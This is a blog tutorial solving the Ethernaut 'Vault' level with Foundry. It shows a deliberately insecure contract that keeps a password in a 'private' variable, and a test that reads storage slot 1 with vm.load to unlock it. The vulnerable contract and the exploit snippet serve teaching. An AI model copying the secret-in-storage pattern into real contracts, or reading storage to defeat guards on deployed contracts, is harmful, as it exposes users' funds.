Ethereum x Foundry - 0x8 Vault

Ethereum x Foundry - 0x8 Vault

Introduction to storage slots and how to access smart contract parameters

ยท

3 min read

Overview

This level introduces us to the following concept(s):

  • Contract parameter(s) visibility
  • Accessing blockchain storage slots with DSTest

GitHub Repository available at: github.com/0xEval/ethernaut-x-foundry

Objective

To complete the challenge, we will need to:

  • Find a way to unlock the Vault

Contract Analysis

The contract is straight forward, it represents a Vault which state is represented by the locked boolean variable.

To unlock it, you call the unlock() function, giving a password in parameter. If it matches the value set during contract creation, the vault will be unlocked.

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

Why is _password of type bytes32 and not string?

1. Contracts currently cannot read a string that's returned by another contract.

2. The EVM has a word-size of 32 bytes, so it is "optimized" for dealing with data in chunks of 32 bytes. (Compilers, such as Solidity, have to do more work and generate more byte code when data isn't in chunks of 32 bytes, which effectively leads to higher gas cost.)

Reference: ethereum.stackexchange.com/questions/3795/w..

Since we are re-creating the challenges, we know what password VaultFactory sets when initiating a Vault

contract VaultFactory is Level {
    function createInstance(address _player) public payable override returns (address) {
        _player;
        bytes32 password = "A very strong secret password :)"; // ๐Ÿ˜ฑ
        Vault instance = new Vault(password);
        return address(instance);
    }

    function validateInstance(address payable _instance, address) public view override returns (bool) {
        Vault instance = Vault(_instance);
        return !instance.locked();
    }

...but that's not the point of the challenge!

We note that _password has a visibility set to private, this means its content can only be read from inside the contract itself. In other words, there are no ways for external contracts to read the contents of password.

However, it is important to remember that this holds true only when talking about function execution by the EVM. The blockchain remains open and readable by anyone; this is truly a feature this time, swear ๐Ÿคž.

As a result, all we need to do is inspect the storage slot located at the deployed contract's address and pass it down to the unlock() function.

Easy!

Attacking The Contract

Make sure to read through Part 0 for setup instructions.

Create the Vault.t.sol test file in the test/ directory that will contain the attack logic (level setup and submission is truncated for clarity):

function testVaultHack() public {

    // Loads a storage slot from an address (who, slot)
    // ref: https://onbjerg.github.io/foundry-book/reference/cheatcodes.html
    bytes32 password = vm.load(levelAddress, bytes32(uint256(1)));

    // Log bytes stored at that memory location
    emit log_bytes(abi.encodePacked(password));

    // Call the unlock function with the password read from storage
    vaultContract.unlock(password)
}

We double-check the logs output to make sure it matches the password set by the Factory:

image.png

web3-type-converter.onbrn.com

and it does!

Run the attack using the forge test subcommand:

image.png

ย